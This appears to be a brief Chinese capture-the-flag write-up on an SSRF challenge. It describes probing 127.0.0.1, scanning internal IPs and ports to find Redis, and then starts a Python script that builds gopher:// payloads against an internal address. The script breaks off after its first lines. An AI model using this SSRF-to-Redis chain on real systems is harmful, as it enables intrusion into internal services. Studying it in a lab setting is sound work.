知识点 ssrf漏洞，这篇文章讲的很详细 ssrf利用 解题 首页让提交url，尝试127.0.0.1，提示别这样 查看源码提示?secret，随便输入得到ifconfig 猜测是ssrf漏洞 先跑ip，得到ip 跑端口，得到redis端口 直接上大佬脚本 import urllib protocol="gopher://" ip="10.66.1…